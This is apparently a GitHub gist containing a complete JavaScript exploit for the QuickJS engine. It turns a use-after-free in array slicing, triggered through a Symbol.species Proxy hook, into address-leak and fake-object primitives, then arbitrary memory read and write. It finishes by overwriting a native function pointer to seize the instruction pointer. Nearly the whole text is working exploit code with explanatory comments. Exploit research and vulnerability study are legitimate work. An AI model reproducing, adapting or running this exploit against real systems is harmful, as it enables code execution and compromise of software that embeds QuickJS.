Skip to content

Instantly share code, notes, and snippets.

@itszn
Created July 20, 2020 20:43
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save itszn/178c8395ec9e9161a3120a0484b051b3 to your computer and use it in GitHub Desktop.
Save itszn/178c8395ec9e9161a3120a0484b051b3 to your computer and use it in GitHub Desktop.
quickjs explot
/*
* This exploit is targeting linux, tested on ubuntu 18.04
* Techniques should generally work on other OSs but I don't have any to test easily
*/
// Debugging functions
if (this.debug === undefined)
this.debug = ()=>{}
if (this.cc === undefined)
this.cc = ()=>{}
let gprint = (x) => { print("\x1b[92m"+x+"\x1b[0m") }
let bprint = (x) => { print("\x1b[91m"+x+"\x1b[0m") }
// Binary helper functions
var Binary = (function() {
let memory = new ArrayBuffer(8);
let view_u8 = new Uint8Array(memory);
let view_u32 = new Uint32Array(memory);
let view_f64 = new Float64Array(memory);
return {
view_u8: view_u8,
view_u32: view_u32,
view_f64: view_f64,
i64_to_f64: (i64) => {
view_u32[0] = i64.low;
view_u32[1] = i64.high;
return view_f64[0];
},
f64_to_i64: (f) => {
view_f64[0] = f;
return new Int64(view_u32[1], view_u32[0]);
},
i32_to_u32: (i32) => {
// needed because 0xffffffff -> -1 as an int
view_u32[0] = i32;
return view_u32[0];
},
i64_to_str: (i64) => {
view_u32[0] = i64.low;
view_u32[1] = i64.high;
return String.fromCharCode.apply(null, view_u8);
},
i32_to_str: (i64) => {
if (i64.low)
view_u32[0] = i64.low;
else
view_u32[0] = i64;
return String.fromCharCode.apply(null, view_u8).slice(0,4)
},
i64_from_buffer: (buff, len=8) => {
let conv_buff;
if (buff.BYTES_PER_ELEMENT === 1)
conv_buff = view_u8;
else if (buff.BYTES_PER_ELEMENT === 4)
conv_buff = view_u32;
else if (buff.BYTES_PER_ELEMENT === 8)
conv_buff = view_f64;
// Copy bytes
view_u32[0] = 0;
view_u32[1] = 0;
for (let i=0; i<len/buff.BYTES_PER_ELEMENT; i++) {
conv_buff[i] = buff[i];
}
return new Int64(view_u32[1], view_u32[0]);
},
store_i64_in_buffer: (i64, buff, len=8, offset=0) => {
if (i64.low) {
view_u32[0] = i64.low;
view_u32[1] = i64.high;
} else {
view_u32[0] = i64;
view_u32[1] = 0
}
let conv_buff;
if (buff.BYTES_PER_ELEMENT === 1)
conv_buff = view_u8;
else if (buff.BYTES_PER_ELEMENT === 4)
conv_buff = view_u32;
else if (buff.BYTES_PER_ELEMENT === 8)
conv_buff = view_f64;
// Copy bytes
for (let i=0; i<len/buff.BYTES_PER_ELEMENT; i++) {
buff[i] = conv_buff[i];
}
}
}
})();
// Simple Int64 class
class Int64 {
constructor(high, low) {
if (low === undefined) {
this.high = 0;
this.low = high;
} else {
this.high = high;
this.low = low;
}
}
toString() {
// Return as hex string
return '0x'+Binary.i32_to_u32(this.high)
.toString(16).padStart(8,'0') +
Binary.i32_to_u32(this.low)
.toString(16).padStart(8,'0');
}
_add_inplace(high, low) {
let tmp = Binary.i32_to_u32(this.low) + Binary.i32_to_u32(low);
this.low = tmp & 0xffffffff;
let carry = (tmp > 0xffffffff)|0;
this.high = (this.high + high + carry) & 0xffffffff;
return this;
}
add_inplace(v) {
if (v instanceof Int64)
return this._add_inplace(v.high, v.low);
return this._add_inplace(0, v);
}
add(v) {
let res = new Int64(this.high, this.low);
return res.add_inplace(v);
}
_sub_inplace(high, low) {
// Add with two's compliment
this._add_inplace(~high, ~low)._add_inplace(0, 1);
return this
}
sub_inplace(v) {
if (v instanceof Int64)
return this._sub_inplace(v.high, v.low);
return this._sub_inplace(0, v);
}
sub(v) {
let res = new Int64(this.high, this.low);
return res.sub_inplace(v);
}
}
/* ------ Exploit start ------- */
// This is the size of the backing data of the array buffer we use for the UAF later
let SIZE = 0x800;
let some_obj;
/*
* The bug here is a UAF in array.p.split:
* 1. Override the constructor for an array with a hook to Symbol.species
* This will get called during the split when a new array is created
* 2. Symbol.species should return a Proxy with defineProperty hooked
* 3. During the slice fast path there is a loop
*
* for (; k < final && k < count32; k++, n++) {
* ... JS_CreateDataPropertyUint32(ctx, arr, n, JS_DupValue(ctx, arrp[k]), ...) ...
*
* This will trigger defineProperty during the fast path loop
* 5. Change the array to be property elements, this will free the arrp ptr
* 6. The loop still uses this pointer causing a UAF
*/
let is_64 = null;
function hack(size, action, start, end) {
// Allocate a backing array for given size
let t = new Array(size);
// Fill with tagged floats (important for 64bit)
t.fill(1.1);
t.constructor = {[Symbol.species]: function () {
let evil = new Proxy({}, {
defineProperty(x, key, desc) {
if (key === '0') {
// Change the array to have property elements
t[1000] = 1;
// t.u.array.values is now free'd but split will keep using it
}
action(key, desc);
return true;
}
});
return evil;
}};
// Trigger bug
let o = t.slice(start, end);
}
let nop = {set: function(){}};
// Fill in some potential holes in the heap
let save = new Array(100);
for (let i=0; i<100; i++) {
save[i] = [1,2];
}
/*
* We need to tell if we are running 32 bit or 64 bit
*
* This can be done by using the bug to UAF with a property array
* JSPropertys can either be JSValues or getter/setter pair
*
* Reading the getter/setter as a JSValue depends on NaN-Boxing or not
* - On 32 bit we get a float because large tags means NaN-boxed float
* - On 64 bit we get a bad object because large tags are invalid
*/
hack(0x2, function(key, desc) {
if (key === '0') {
some_obj= {a:1};
Object.defineProperty(some_obj, 'b', nop);
} else if (key === '1') {
is_64 = typeof(desc.value) == 'unknown'
}
}, 0, 2);
if (is_64)
print("[+] We are on 64 bit system!")
else
print("[+] We are on 32 bit system!")
let fake_obj_holder;
let prop_arr_leak = new Int64(0);
// Fake string
// For 32 bits we have to NaN-box the top to a kind large size
let string_header = Binary.i64_to_f64(new Int64(is_64? 8 : 0x80000013, 0xffff));
let some_array;
let upper_heap_addr;
if (is_64) {
/*
* Since we have to use a tagged int to leak the property array, we are
* missing 2 bytes of the pointer. To leak these bytes we will use the UAF and
* uninitialized memory
*
* The JSArrayBuffer pointer of the ArrayBuffer object can be accessed as
* a JSValue using an uninitialized 7
*
* --=== UAF Memory ===--
* [ flags ] [ link1 ]
* [ link2 ] [ shape ]
* [ props ] [ wkref ]
* [ arrbf ] < 7 > <--- Read as JSValue (Ta
*/
hack(4, function(key, desc) {
if (key === '0') {
// ArrayBuffer to leak
some_array = new ArrayBuffer(1);
}
if (key === '1') {
Binary.view_f64[0] = desc.value;
upper_heap_addr = Binary.view_u32[1];
prop_arr_leak.high = upper_heap_addr;
print("[+] JSArrayBuffer>>32 == 0x"+upper_heap_addr.toString(16));
}
}, 2,4);
}
/*
* The goal of the first stage is to leak a pointer to a set of jsvalues
*
* On 64 bits, we do this by leaking a property pointer. Since the first_weak_ref
* will be zero (int tag) we can just read it as a tagged integer
*
* --=== UAF Memory ===--
* [ flags ] [ link1 ]
* [ link2 ] [ shape ]
* [ props ] [ 0 ] <--- Read as JSValue (Tagged Int)
*
* On 32 bits, we do this by leaking the array values pointer
* When we read it as a JSValue, the element count will be the tag, so we have
* to make sure the element count will give us a valid NaN-boxed float
*
* The smallest size we can do is 0x80000 elements
*
* --=== UAF Memory ===--
* [ flags ] [ flags ]
* [ link1 ] [ link2 ]
* [ shape ] [ props ]
* [ wkref ] [ asize ]
* [ avals ] [ 0x80000 ] <--- Read as JSValue (NaN-Boxed Float64)
*
*/
hack(is_64? 0x4 : 0x5, function(key, desc) {
if (key === '0') {
// Allocate object in UAF memory
// This is set up for a fake string object we will fake_obj later
if (is_64) {
fake_obj_holder = {
a:string_header,
b:0x41424344,
c:1
};
} else {
fake_obj_holder = [1];
fake_obj_holder.length = 0x80000;
fake_obj_holder.fill(0);
fake_obj_holder[0] = string_header;
fake_obj_holder[2] =0x41424344;
}
} else if (key === '1') {
if (is_64) {
// Now we read the property array pointer from confused object
prop_arr_leak.low = desc.value;
} else {
// We can now grab the value from our float
Binary.view_f64[0] = desc.value;
prop_arr_leak.low = Binary.view_u32[0];
}
print("[+] property array @ "+ prop_arr_leak.toString(16));
if (prop_arr_leak.low === 0) {
bprint("Failed to get property array")
throw("Failed");
}
}
}, is_64? 1 : 3, is_64? 3 : 5);
// Used later for better fake_obj/addr_of later on
let real_jsvalue_array = [1,1];
let confused_buffer;
let confused_buffer_accessor;
let fake_string;
let fake_array;
let fake_obj_offset;
let fake_array_data;
let primitives = {};
/*
* The goal of the second stage is to replace the UAF with typed array memory.
* This will allow us to write arbitrary JSValues and get a fake_obj
*
* However we can only trigger this fake_obj during the slice callbacks, so we
* will create a fake JSString and a fake JSArray to create stable addr_of and fake_obj
*/
hack(is_64? SIZE/0x10 : SIZE/8, function(key, desc) {
if (key === '0') {
// Allocate the arraybuffer so we can control data in the UAF
confused_buffer = new ArrayBuffer(SIZE);
confused_buffer_accessor = new DataView(confused_buffer);
// Write indexes into the buffer so we can see how far we are accessing
for (let i=0; i<SIZE; i+=(is_64? 16 : 8)) {
confused_buffer_accessor.setInt32(i, i, true);
}
} else if (key === '1') {
// Find what offset into the buffer we are accessing
fake_obj_offset = desc.value;
print("[+] found offset in ArrayBuffer: " + fake_obj_offset + "\x1b[0m");
/*
* The next access will read the following memory we write as a JSValue
*
* This lets us create a fake string within the fake_obj_holder object
* we previous leaked the array/properties of
*/
fake_obj_offset += is_64? 16 : 8;
// Write the pointer to the JSValues we control in fake_obj_holder
confused_buffer_accessor.setUint32(fake_obj_offset, prop_arr_leak.low, true);
if (is_64)
confused_buffer_accessor.setUint32(fake_obj_offset+4,
prop_arr_leak.high, true);
// Set the JSValue tag to be -7 for a tagged string
confused_buffer_accessor.setInt32(fake_obj_offset + (is_64? 8 : 4), -7, true);
} else if (key === '2') {
/*
* Now that we have created the fake string we can use it to read other JSValues
* within the fake_obj_holder object. This will let us create addr_of by leaking
* the tagged pointer values using the fake_string
*/
fake_string = desc.value;
primitives.addr_of = function(jsvalue) {
if (is_64) {
fake_obj_holder.b = jsvalue;
} else {
fake_obj_holder[2] = jsvalue;
}
for(let i=0; i< (is_64 ? 8 : 4); i++) {
Binary.view_u8[i] = fake_string.charCodeAt(i);
}
return new Int64(is_64 ? Binary.view_u32[1] : 0, Binary.view_u32[0]);
}
/*
* At this point we want a better fake_obj as this one only works during the slice
*
* In 64 bits we can do this by making a fake array, which points offset to a real
* set of JSValues
*
* real JSArray -> [ value ][ tag ][ value ][ tag ]
* fake JSArray -> [ value ][ tag ]
*
* This will give us fake_obj this way:
* 1. Write address as tagged float to real[0] (real[0] tag will now be 7)
* 2. Write -1 as tagged int to fake[0] (real[0] tag will now be -1)
* 3. Read real[0] as JSObject
* 4. Write 7 as tagged int to fake[0] to fix up memory
*
* We are creating the fake object data in a string since it is easy to addr_of
*/
if (is_64) {
fake_array_data =
"\xff\xff\0\0\
\0\x0d\
\x02\x00\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\x01\0\0\0\0\0\0\0" +
Binary.i64_to_str(prop_arr_leak.add_inplace(0x18)) +
"\x01\0\0\0\0\0\0\0";
} else {
fake_array_data =
"\xff\xff\0\0\
\0\x0d\
\x02\x00\
\0\0\0\0\
\0\0\0\0\
\0\0\0\0\
\0\0\0\0\
\0\0\0\0\
\x01\0\0\0" +
Binary.i32_to_str(prop_arr_leak.add_inplace(0x14)) +
"\x01\0\0\0";
}
let addr = primitives.addr_of(fake_array_data).add_inplace(0x10);
print("[+] fake_array_data @ "+addr.toString(16));
fake_obj_offset += is_64? 16 : 8;
confused_buffer_accessor.setUint32(fake_obj_offset, addr.low, true);
if (is_64) {
confused_buffer_accessor.setUint32(fake_obj_offset + 4, addr.high, true);
}
confused_buffer_accessor.setInt32(fake_obj_offset + (is_64? 8 : 4), -1, true);
} else if (key === '3') {
// We now have our fake array, so we can build fake_obj as described above
fake_array = desc.value;
if (is_64) {
primitives.fake_obj = function(addr) {
// Write as tagged float (tag 7)
fake_obj_holder.b = Binary.i64_to_f64(addr);
// Set tag to -1
fake_array[0] = -1|0;
// Read as tagged object
let obj = fake_obj_holder.b;
// Fix tag
fake_array[0] = 7|0;
return obj;
}
} else {
primitives.fake_obj = function(addr) {
// Write as tagged int (tag 0)
fake_obj_holder[2] = addr.low;
// Set tag to -1
fake_array[0] = -1|0;
// Read as tagged object
let obj = fake_obj_holder[2];
// Fix tag
fake_array[0] = 0|0;
return obj;
}
}
}
}, 20, 20+4);
let sanity1 = function() {
let x = {x:1337};
let addr = primitives.addr_of(x)
let y = primitives.fake_obj(addr);
if (y.x !== 1337) {
bprint("Failed to get addr_of/fake_obj")
throw("Failed");
}
}
sanity1();
gprint("[+] fake_obj / addr_of all good");
/*
* To get arbitrary read/write we can make a fake Uint32Array
* The only field we need to set is u.array.u.ptr and u.array.count
* So its easy to just do this with fake_obj
*
* We will point this fake Uint32Array at a real Uint32Array to
* make it easy to modify u.array.u.ptr
*/
let real_array_buffer = new Uint8Array(0x1000);
let real_array_buffer_ptr = primitives.addr_of(real_array_buffer);
print("[+] real_array_buffer @ "+real_array_buffer_ptr.toString(16));
let fake_typed_array_data;
if (is_64) {
fake_typed_array_data =
"\xff\xff\0\0\
\0\x0d\
\x1b\x00\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0" +
Binary.i64_to_str(real_array_buffer_ptr) +
"\0\0\x01\0\0\0\0\0";
} else {
fake_typed_array_data =
"\xff\xff\0\0\
\0\x0d\
\x1b\x00\
\0\0\0\0\
\0\0\0\0\
\0\0\0\0\
\0\0\0\0\
\0\0\0\0\
\0\0\0\0" +
Binary.i32_to_str(real_array_buffer_ptr) +
"\0\0\x01\0";
}
let fake_typed_array_data_ptr = primitives.addr_of(fake_typed_array_data).add_inplace(0x10);
print("[+] fake_typed_array_data @ "+fake_typed_array_data_ptr.toString(16));
let fake_array_buffer = primitives.fake_obj(fake_typed_array_data_ptr);
primitives.set_addr = function(addr, val) {
if (is_64) {
fake_array_buffer[14] = addr.low;
fake_array_buffer[15] = addr.high;
} else {
fake_array_buffer[8] = addr.low? addr.low : addr;
}
}
primitives.read_64 = function(addr) {
primitives.set_addr(addr);
return Binary.i64_from_buffer(real_array_buffer);
}
primitives.read_32 = function(addr) {
primitives.set_addr(addr);
return Binary.i64_from_buffer(real_array_buffer, 4);
}
primitives.write_64 = function(addr, val) {
primitives.set_addr(addr);
Binary.store_i64_in_buffer(val, real_array_buffer);
}
primitives.write_32 = function(addr, val) {
primitives.set_addr(addr);
Binary.store_i64_in_buffer(val, real_array_buffer, 4);
}
primitives.read_ptr = function(addr) {
if (is_64) return primitives.read_64(addr);
return primitives.read_32(addr);
}
primitives.write_ptr = function(addr, value) {
if (is_64) return primitives.write_64(addr, value);
return primitives.write_32(addr, value);
}
let sanity2 = function() {
let x = new Uint32Array(8);
x[0] = 0x41424344;
let addr = primitives.addr_of(x);
if (is_64) {
let data = primitives.read_ptr(addr.add_inplace(0x38));
primitives.write_32(data, 0x51525354);
} else {
let data = primitives.read_ptr(addr.add_inplace(0x20));
primitives.write_32(data, 0x51525354);
}
if (x[0] != 0x51525354){
bprint("Failed to get arb read/write")
throw("Failed")
}
}
sanity2();
gprint("[+] Arbitrary Read/Write working!");
let print_ptr = primitives.addr_of(print)
print_ptr.add_inplace(is_64 ? 0x30 : 0x1c);
let print_code_ptr = primitives.read_ptr(print_ptr);
print("[+] print @ "+print_code_ptr);
gprint(`[+] Ok going to hijack ${is_64? 'RIP':'EIP'} now because why now`);
primitives.write_ptr(print_ptr, 0x41424344);
print("bye bye");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment